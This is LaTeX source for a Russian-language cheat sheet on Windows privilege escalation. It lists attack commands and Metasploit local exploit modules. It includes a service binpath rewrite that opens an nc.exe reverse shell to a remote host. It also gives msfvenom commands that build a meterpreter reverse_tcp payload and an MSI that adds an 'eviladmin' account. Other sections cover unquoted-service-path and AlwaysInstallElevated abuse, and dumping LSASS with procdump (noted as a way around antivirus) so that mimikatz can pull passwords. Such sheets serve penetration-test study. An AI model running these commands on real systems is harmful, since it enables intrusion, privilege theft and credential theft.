\par\addvspace{1.3em} \begin{tabularx}{8.4cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{8.4cm}}{\bf\textcolor{white}{\seqsplit{Кросскомпиляция}}} \tn \SetRowColor{white} \mymulticolumn{1}{x{8.4cm}}{Компиляция с помощью wine \newline % Row Count 1 (+ 1) \$ {\bf{cp /usr/share/exploitdb/platforms/windows/local/\textless{}exploit\textgreater{}.c /tmp/}} \newline % Row Count 3 (+ 2) \$ {\bf{cd /root/.wine/drive\_c/MinGW/bin}} \newline % Row Count 4 (+ 1) \$ {\bf{wine gcc -o w00t.exe /tmp/\textless{}exploit\textgreater{}.c -l lib}}% Row Count 5 (+ 1) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{8.4cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{8.4cm}}{\bf\textcolor{white}{Управление сервисами}} \tn \SetRowColor{white} \mymulticolumn{1}{x{8.4cm}}{Создание и запуск сервиса \newline % Row Count 1 (+ 1) C:\textbackslash{}\textgreater{} {\bf{sc create \textless{}servicename\textgreater{} binpath= "c:\textbackslash{}windows\textbackslash{}system32\textbackslash{}cmd.exe /k \textless{}pathtobinaryexecutable\textgreater{}" DisplayName= \textless{}displayname\textgreater{}}} \newline % Row Count 4 (+ 3) C:\textbackslash{}\textgreater{} {\bf{sc start \textless{}servicename\textgreater{}}} \newline % Row Count 5 (+ 1) Вывод списка всех служб, настроенных на компьютере \newline % Row Count 7 (+ 2) C:\textbackslash{}\textgreater{} {\bf{sc query}} \newline % Row Count 8 (+ 1) Настройка учетных записей регистрации и запуска служб \newline % Row Count 11 (+ 3) C:\textbackslash{}\textgreater{} {\bf{sc config}} \newline % Row Count 12 (+ 1) Отображение конфигурации определенной службы \newline % Row Count 14 (+ 2) C:\textbackslash{}\textgreater{} {\bf{sc qc {[}service\_name{]}}} \newline % Row Count 15 (+ 1) Задачи по расписанию \newline % Row Count 16 (+ 1) C:\textbackslash{}\textgreater{} {\bf{schtasks /query /fo LIST /v}} \newline % Row Count 17 (+ 1) Запущенные процессы в запущенных службах \newline % Row Count 19 (+ 2) C:\textbackslash{}\textgreater{} {\bf{tasklist /SVC}} \newline % Row Count 20 (+ 1) C:\textbackslash{}\textgreater{} {\bf{net start}}% Row Count 21 (+ 1) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{8.4cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{8.4cm}}{\bf\textcolor{white}{Эксплоиты в Metasploit}} \tn \SetRowColor{white} \mymulticolumn{1}{x{8.4cm}}{\seqsplit{exploit/windows/local/always\_install\_elevated} - excellent Windows AlwaysInstallElevated MSI \newline % Row Count 2 (+ 2) \seqsplit{exploit/windows/local/bypassuac\_injection} - excellent Windows Escalate UAC Protection Bypass (In Memory Injection) \newline % Row Count 5 (+ 3) \seqsplit{exploit/windows/local/ms10\_015\_kitrap0d} - great Windows SYSTEM Escalation via KiTrap0D \newline % Row Count 7 (+ 2) \seqsplit{exploit/windows/local/ms10\_092\_schelevator} - excellent Windows Escalate Task Scheduler XML Privilege Escalation \newline % Row Count 10 (+ 3) \seqsplit{exploit/windows/local/ms11\_080\_afdjoinleaf} - average MS11-080 AfdJoinLeaf Privilege Escalation \newline % Row Count 12 (+ 2) \seqsplit{exploit/windows/local/ms13\_005\_hwnd\_broadcast} - excellent MS13-005 HWND\_BROADCAST Low to Medium Integrity Privilege Escalation \newline % Row Count 15 (+ 3) \seqsplit{exploit/windows/local/ms13\_053\_schlamperei} - average Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei) \newline % Row Count 18 (+ 3) \seqsplit{exploit/windows/local/ms13\_081\_track\_popup\_menu} - average Windows TrackPopupMenuEx Win32k NULL Page \newline % Row Count 21 (+ 3) \seqsplit{exploit/windows/local/ms13\_097\_ie\_registry\_symlink} - great MS13-097 Registry Symlink IE Sandbox Escape \newline % Row Count 24 (+ 3) \seqsplit{exploit/windows/local/ms14\_009\_ie\_dfsvc} - great MS14-009 .NET Deployment Service IE Sandbox Escape \newline % Row Count 26 (+ 2) \seqsplit{exploit/windows/local/ms\_ndproxy} - average MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation \newline % Row Count 29 (+ 3) \seqsplit{exploit/windows/local/ppr\_flatten\_rec} - average Windows EPATHOBJ::pprFlattenRec Local Privilege Escalation \newline % Row Count 32 (+ 3) } \tn \end{tabularx} \par\addvspace{1.3em} \vfill \columnbreak \begin{tabularx}{8.4cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{8.4cm}}{\bf\textcolor{white}{Эксплоиты в Metasploit (cont)}} \tn \SetRowColor{white} \mymulticolumn{1}{x{8.4cm}}{\seqsplit{exploit/windows/local/trusted\_service\_path} - excellent Windows Service Trusted Path Privilege Escalation \newline % Row Count 3 (+ 3) \seqsplit{exploit/windows/local/virtual\_box\_guest\_additions} - average VirtualBox Guest Additions VBoxGuest.sys Privilege Escalation \newline % Row Count 6 (+ 3) post/windows/escalate - Also look at these post exploitation modules...% Row Count 8 (+ 2) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{8.4cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{8.4cm}}{\bf\textcolor{white}{Trusted Path Escalation}} \tn \SetRowColor{white} \mymulticolumn{1}{x{8.4cm}}{Если путь указан без кавычек и содержит пробел, то этим можно \seqsplit{воспользоваться}. \newline % Row Count 3 (+ 3) Например, путь {\bf{C:\textbackslash{}Tools\textbackslash{}Custom Tools\textbackslash{}program.exe}} может \seqsplit{интерпретироваться} как {\bf{C:\textbackslash{}Tools\textbackslash{}Custom.exe}} с параметром {\bf{Tools\textbackslash{}program.exe}} \newline % Row Count 7 (+ 4) Имея права на запись в {\bf{C:\textbackslash{}Tools}} мы можем создать файл {\bf{C:\textbackslash{}Tools\textbackslash{}Custom.exe}}, который и будет выполнен \newline % Row Count 11 (+ 4) Модуль метасплоита: {\bf{trusted\_service\_path}} \newline % Row Count 13 (+ 2) Поиск с помощью WMIC \newline % Row Count 14 (+ 1) C:\textbackslash{}\textgreater{} {\bf{wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\textbackslash{}Windows\textbackslash{}\textbackslash{}" |findstr /i /v """}} \newline % Row Count 17 (+ 3) Порядок выполнения, который проверяет система \newline % Row Count 19 (+ 2) C:\textbackslash{}Program.exe \newline % Row Count 20 (+ 1) C:\textbackslash{}Program Files.exe \newline % Row Count 21 (+ 1) C:\textbackslash{}Program Files (x86)\textbackslash{}Program.exe \newline % Row Count 22 (+ 1) C:\textbackslash{}Program Files (x86)\textbackslash{}Program Folder\textbackslash{}A.exe \newline % Row Count 23 (+ 1) C:\textbackslash{}Program Files (x86)\textbackslash{}Program Folder\textbackslash{}A Subfolder\textbackslash{}Executable.exe \newline % Row Count 25 (+ 2) Проверить права на папку \newline % Row Count 26 (+ 1) C:\textbackslash{}\textgreater{} {\bf{icacls "C:\textbackslash{}Program Files (x86)\textbackslash{}Program Folder"}} \newline % Row Count 28 (+ 2) Интересующие права \newline % Row Count 29 (+ 1) F = Full Control \newline % Row Count 30 (+ 1) } \tn \end{tabularx} \par\addvspace{1.3em} \vfill \columnbreak \begin{tabularx}{8.4cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{8.4cm}}{\bf\textcolor{white}{Trusted Path Escalation (cont)}} \tn \SetRowColor{white} \mymulticolumn{1}{x{8.4cm}}{CI = Container Inherit – означает что все контейнеры наследуют этот флаг. \newline % Row Count 3 (+ 3) OI = Object Inherit – все файлы наследуют этот флаг \newline % Row Count 5 (+ 2) При запуске сервиса он почти сразу умирает, так как при запуске он должен общаться с Service Control Manager, а так как SCM не получает даных, то считает что что-то не так и убивает процесс, поэтому надо как только получили сессию мигрировать meterpreter на другой процесс.% Row Count 15 (+ 10) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{8.4cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{8.4cm}}{\bf\textcolor{white}{Vulnerable Service Permission}} \tn \SetRowColor{white} \mymulticolumn{1}{x{8.4cm}}{Проверяем имеет ли текущий пользователь права на \seqsplit{редактирование} сервиса. Редактируем путь к исполняемому файлу сервиса на команду добавления пользователя или на свой шелл. \newline % Row Count 7 (+ 7) Можно проверить с помощью accesschk.exe и SC \newline % Row Count 9 (+ 2) Пример (SSDPSRV в win xp sp0-1) \newline % Row Count 10 (+ 1) {\bf{sc config {[}service\_name{]} binpath= "C:\textbackslash{}nc.exe -nv {[}RHOST{]} {[}RPORT{]} -e C:\textbackslash{}WINDOWS\textbackslash{}System32\textbackslash{}cmd.exe"}} \newline % Row Count 13 (+ 3) {\bf{sc config {[}service\_name{]} obj= ".\textbackslash{}LocalSystem" password= ""}} \newline % Row Count 15 (+ 2) {\bf{sc qc {[}service\_name{]} (to verify!)}} \newline % Row Count 16 (+ 1) {\bf{net start {[}service\_name{]}}} \newline % Row Count 17 (+ 1) Модуль метасплоита: {\bf{service\_permissions}} \newline % Row Count 19 (+ 2) Некоторые известные уязвимые сервисы \newline % Row Count 21 (+ 2) {\emph{ }} Windows XP with sp2 \newline % Row Count 22 (+ 1) * - As Power User: \newline % Row Count 23 (+ 1) * service: DcomLaunch ( SYSTEM ) \newline % Row Count 24 (+ 1) * Service: UpnpHost ( Local Service ) \newline % Row Count 25 (+ 1) * Service: SSDPSRV (Local Service) \newline % Row Count 26 (+ 1) * Service: WMI (SYSTEM) \textless{}- sometimes as user also.. \newline % Row Count 28 (+ 2) * - As User: \newline % Row Count 29 (+ 1) * Service: UpnpHost ( Local Service ) \newline % Row Count 30 (+ 1) } \tn \end{tabularx} \par\addvspace{1.3em} \vfill \columnbreak \begin{tabularx}{8.4cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{8.4cm}}{\bf\textcolor{white}{Vulnerable Service Permission (cont)}} \tn \SetRowColor{white} \mymulticolumn{1}{x{8.4cm}}{ * Service: SSDPSRV (Local Service) \newline % Row Count 1 (+ 1) * - As Network Config Operators: \newline % Row Count 2 (+ 1) * service: DcomLaunch ( SYSTEM ) \newline % Row Count 3 (+ 1) * Service: UpnpHost ( Local Service ) \newline % Row Count 4 (+ 1) * Service: SSDPSRV (Local Service) \newline % Row Count 5 (+ 1) * Service: DHCP ( SYSTEM ) \newline % Row Count 6 (+ 1) * Service: NetBT (SYSTEM - .sys driver) \newline % Row Count 7 (+ 1) * Service DnsCache (SYSTEM) \newline % Row Count 8 (+ 1) {\emph{ }} Windows 2000 \newline % Row Count 9 (+ 1) * - As Power user \newline % Row Count 10 (+ 1) * service: WMI (SYSTEM) \newline % Row Count 11 (+ 1) {\emph{ }} Third Part software (local \& remote code execution) \newline % Row Count 13 (+ 2) * Service: {[}Pml Driver HPZ12{]} (HP Software - C:\textbackslash{}WINNT\textbackslash{}system32\textbackslash{}spool\textbackslash{}DRIVERS\textbackslash{}W32X86\textbackslash{}3\textbackslash{}HPZipm12.exe) \newline % Row Count 16 (+ 3) * -Granted Full Control to Everyone Group. \newline % Row Count 17 (+ 1) * Service: {[}Autodesk Licensing Service{]} (Autocad - C:\textbackslash{}program files\textbackslash{}Common files\textbackslash{}Autodesk Shared\textbackslash{}Service\textbackslash{}AdskScSrv.exe) \newline % Row Count 20 (+ 3) * -Maybe related to: \seqsplit{http://www.securityfocus.com/bid/16472} \newline % Row Count 22 (+ 2) * -Autodesk Multiple Products Remote Unauthorized Access Vulnerability% Row Count 24 (+ 2) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{8.4cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{8.4cm}}{\bf\textcolor{white}{AlwaysInstallElevated}} \tn \SetRowColor{white} \mymulticolumn{1}{x{8.4cm}}{Нас интересуют ключи \newline % Row Count 1 (+ 1) {[}HKEY\_CURRENT\_USER\textbackslash{}SOFTWARE\textbackslash{}Policies\textbackslash{}Microsoft\textbackslash{}Windows\textbackslash{}Installer{]} \newline % Row Count 3 (+ 2) \seqsplit{"AlwaysInstallElevated"=dword:00000001} \newline % Row Count 4 (+ 1) {[}HKEY\_LOCAL\_MACHINE\textbackslash{}SOFTWARE\textbackslash{}Policies\textbackslash{}Microsoft\textbackslash{}Windows\textbackslash{}Installer{]} \newline % Row Count 6 (+ 2) \seqsplit{"AlwaysInstallElevated"=dword:00000001} \newline % Row Count 7 (+ 1) которые позволяют любому установить msi с повышенными привилегиями \newline % Row Count 10 (+ 3) C:\textbackslash{}\textgreater{} {\bf{reg query HKCU\textbackslash{}SOFTWARE\textbackslash{}Policies\textbackslash{}Microsoft\textbackslash{}Windows\textbackslash{}Installer /v AlwaysInstallElevated}} \newline % Row Count 12 (+ 2) C:\textbackslash{}\textgreater{} {\bf{reg query HKLM\textbackslash{}SOFTWARE\textbackslash{}Policies\textbackslash{}Microsoft\textbackslash{}Windows\textbackslash{}Installer /v AlwaysInstallElevated}} \newline % Row Count 14 (+ 2) Если выйдет ошибка, то политика отключена, но если установлен параметр, то мы можем это использовать \newline % Row Count 18 (+ 4) root@kali:\textasciitilde{}\# {\bf{msfvenom -f msi-nouac -p windows/adduser USER=eviladmin PASS=P4ssw0rd@ -o add\_user.msi}} \newline % Row Count 21 (+ 3) Или без добавления пользователя \newline % Row Count 23 (+ 2) root@kali:\textasciitilde{}\# {\bf{msfvenom -p \seqsplit{windows/meterpreter/reverse\_tcp} -e x86/shikata\_ga\_nai LHOST=192.168.2.60 LPORT=8989 -f exe -o Payload.exe}} \newline % Row Count 26 (+ 3) root@kali:\textasciitilde{}\# {\bf{msfvenom -f msi-nouac -p windows/exec cmd="C:\textbackslash{}Users\textbackslash{}testuser\textbackslash{}AppData\textbackslash{}Local\textbackslash{}Temp\textbackslash{}Payload.exe" \textgreater{} malicious.msi}}% Row Count 29 (+ 3) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{8.4cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{8.4cm}}{\bf\textcolor{white}{Privilege Escalation with Task Scheduler}} \tn \SetRowColor{white} \mymulticolumn{1}{x{8.4cm}}{Работает только на Windows 2000, XP, или 2003. В этих системах задачи по расписанию выполняются с системными правами. \newline % Row Count 4 (+ 4) root@kali:\textasciitilde{}\# {\bf{msfvenom -p \seqsplit{windows/meterpreter/reverse\_tcp} -e x86/shikata\_ga\_nai LHOST=192.168.2.60 LPORT=8989 -f exe -o Payload.exe}} \newline % Row Count 7 (+ 3) C:\textbackslash{}\textgreater{} {\bf{net start "Task Scheduler"}} \newline % Row Count 8 (+ 1) C:\textbackslash{}\textgreater{} {\bf{at 06:42 /interactive "C:\textbackslash{}Documents and Settings\textbackslash{}test\textbackslash{}Local Settings\textbackslash{}Temp\textbackslash{}Payload.exe"}} \newline % Row Count 10 (+ 2) Утилита schtasks позволяет вешать задачи на определенные события. Наиболее интересные для нас — ONIDLE, ONLOGON и ONSTART% Row Count 14 (+ 4) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{8.4cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{8.4cm}}{\bf\textcolor{white}{Removed autorun programms}} \tn \SetRowColor{white} \mymulticolumn{1}{x{8.4cm}}{Очень часто случается, что система хранит запись о файле, который надо \seqsplit{автоматически} запустить, даже после того, как сам файл уже канул в Лету. Может, какой-то сервис был некорректно удален — исполняемого файла нет, а запись в реестре осталась, и при каждом запуске система безуспешно пытается его стартануть, забивая журнал событий сообщениями о фейлах. Этой ситуацией также можно \seqsplit{воспользоваться} для расширения своих полномочий. Первым делом надо найти все такие осиротевшие записи. Например, при помощи утилиты autorunsc от Sysinternals. \newline % Row Count 20 (+ 20) C:\textbackslash{}\textgreater{} {\bf{autorunsc.exe -a | findstr /n /R "File\textbackslash{} not\textbackslash{} found"}}% Row Count 22 (+ 2) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{8.4cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{8.4cm}}{\bf\textcolor{white}{Mimikatz и procdump}} \tn \SetRowColor{white} \mymulticolumn{1}{x{8.4cm}}{Сначала получим дамп процесса LSASS. Можно это сделать с помощью mimikatz, но с ProcDump можно не беспокоиться о \seqsplit{предупреждениях} антивирусов \newline % Row Count 5 (+ 5) C:\textbackslash{}\textgreater{} {\bf{procdump.exe -accepteula -ma lsass.exe lsass.dmp}} \newline % Row Count 7 (+ 2) После получения дампа можно скормить его mimikatz и получить пароли \newline % Row Count 10 (+ 3) C:\textbackslash{}Mimikatz\textbackslash{}x32\textgreater{} {\bf{mimikatz.exe}} \newline % Row Count 11 (+ 1) mimikatz\# {\bf{sekurlsa::minidump C:\textbackslash{}Users\textbackslash{}Fubar\textbackslash{}Desktop\textbackslash{}lsass.dmp}} \newline % Row Count 13 (+ 2) mimikatz\# {\bf{sekurlsa::tspkg}} \newline % Row Count 14 (+ 1) Таким образом можно получить пароли \seqsplit{пользователей}, которые недавно \seqsplit{авторизовывались} \newline % Row Count 18 (+ 4) Некоторые возможности mimikatz \newline % Row Count 20 (+ 2) wdigest (пароли AD) \newline % Row Count 21 (+ 1) kerberos (хэши LM/NTLM) \newline % Row Count 22 (+ 1) oss (пароли Outlook) \newline % Row Count 23 (+ 1) livessp (windows 8 пароль) \newline % Row Count 24 (+ 1) msv (пароль AD) \newline % Row Count 25 (+ 1) tspkg (пароль AD)% Row Count 26 (+ 1) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{8.4cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{8.4cm}}{\bf\textcolor{white}{PowerShell}} \tn \SetRowColor{white} \mymulticolumn{1}{x{8.4cm}}{AD DNS-zone transfer \newline % Row Count 1 (+ 1) PS C:\textbackslash{}\textgreater{} Get-WmiObject -ComputerName dc1 -Namespace root\textbackslash{}microsoftDNS -Class \seqsplit{MicrosoftDNS\_ResourceRecord} -Filter "domainname=uriit.local" | select textrepresentation% Row Count 5 (+ 4) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} % That's all folks \end{multicols*} \end{document}